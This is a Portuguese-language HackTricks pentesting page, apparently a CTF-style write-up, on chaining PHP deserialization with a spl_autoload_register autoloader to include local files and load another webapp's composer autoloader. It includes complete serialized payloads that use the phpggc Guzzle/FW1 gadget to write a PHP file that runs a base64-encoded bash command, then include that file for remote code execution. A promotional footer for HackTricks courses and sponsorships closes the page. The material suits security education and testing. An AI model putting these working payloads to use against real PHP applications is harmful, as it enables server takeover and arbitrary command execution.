hacktricks/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

7.9 KiB

PHP - Deserialização + Classes Autoload

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Primeiro, você deve verificar o que são Classes Autoload.

Deserialização PHP + spl_autoload_register + LFI/Gadget

Estamos em uma situação onde encontramos uma deserialização PHP em uma webapp sem nenhuma biblioteca vulnerável a gadgets dentro do phpggc. No entanto, no mesmo container havia uma webapp composer diferente com bibliotecas vulneráveis. Portanto, o objetivo era carregar o carregador do composer da outra webapp e abusar dele para carregar um gadget que explorará essa biblioteca com um gadget da webapp vulnerável à deserialização.

Passos:

  • Você encontrou uma deserialização e não há nenhum gadget no código atual do app
  • Você pode abusar de uma função spl_autoload_register como a seguinte para carregar qualquer arquivo local com extensão .php
  • Para isso, você usa uma deserialização onde o nome da classe vai estar dentro de $name. Você não pode usar "/" ou "." em um nome de classe em um objeto serializado, mas o código está substituindo os sublinhados ("_") por barras ("/"). Então, um nome de classe como tmp_passwd será transformado em /tmp/passwd.php e o código tentará carregá-lo.
    Um exemplo de gadget seria: O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

{% hint style="success" %} Se você tem um upload de arquivo e pode enviar um arquivo com a extensão .php, você poderia abusar dessa funcionalidade diretamente e obter RCE imediatamente. {% endhint %}

No meu caso, eu não tinha nada assim, mas havia dentro do mesmo container outra página web do composer com uma biblioteca vulnerável a um gadget phpggc.

  • Para carregar essa outra biblioteca, primeiro você precisa carregar o carregador do composer daquela outra aplicação web (porque o da aplicação atual não acessará as bibliotecas da outra.) Conhecendo o caminho da aplicação, você pode conseguir isso muito facilmente com: O:28:"www_frontend_vendor_autoload":0:{} (No meu caso, o carregador do composer estava em /www/frontend/vendor/autoload.php)
  • Agora, você pode carregar o carregador do composer da outra aplicação, então é hora de gerar o payload do phpgcc para usar. No meu caso, eu usei Guzzle/FW1, que me permitiu escrever qualquer arquivo dentro do sistema de arquivos.
  • NOTA: O gadget gerado não estava funcionando, para que funcionasse eu modifiquei aquele payload chain.php do phpggc e defini todos os atributos das classes de privados para públicos. Caso contrário, após a desserialização da string, os atributos dos objetos criados não tinham valores.
  • Agora temos a maneira de carregar o carregador do composer da outra aplicação e temos um payload do phpggc que funciona, mas precisamos fazer isso na MESMA REQUISIÇÃO para que o carregador seja carregado quando o gadget for usado. Para isso, eu enviei um array serializado com ambos os objetos como:
  • Você pode ver primeiro o carregador sendo carregado e depois o payload

{% code overflow="wrap" %}

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}

{% endcode %}

  • Agora, podemos criar e escrever um arquivo, no entanto, o usuário não poderia escrever em nenhuma pasta dentro do servidor web. Então, como você pode ver no payload, PHP chamando system com algum base64 é criado em /tmp/a.php. Depois, podemos reutilizar o primeiro tipo de payload que usamos como LFI para carregar o carregador do compositor de outro webapp para carregar o arquivo gerado /tmp/a.php. Basta adicioná-lo ao gadget de deserialização:

{% code overflow="wrap" %}

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}

**Resumo do payload**

* **Carregar o autoload do composer** de um webapp diferente no mesmo contêiner
* **Carregar um gadget do phpggc** para abusar de uma biblioteca do outro webapp (o webapp inicial vulnerável à deserialização não tinha nenhum gadget em suas bibliotecas)
* O gadget irá **criar um arquivo com um payload PHP** nele em /tmp/a.php com comandos maliciosos (o usuário do webapp não pode escrever em nenhuma pasta de nenhum webapp)
* A parte final do nosso payload usará **carregar o arquivo php gerado** que executará comandos

Eu precisei **chamar essa deserialização duas vezes**. Nos meus testes, na primeira vez o arquivo `/tmp/a.php` foi criado mas não carregado, e na segunda vez ele foi corretamente carregado.

<details>

<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras formas de apoiar o HackTricks:

* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>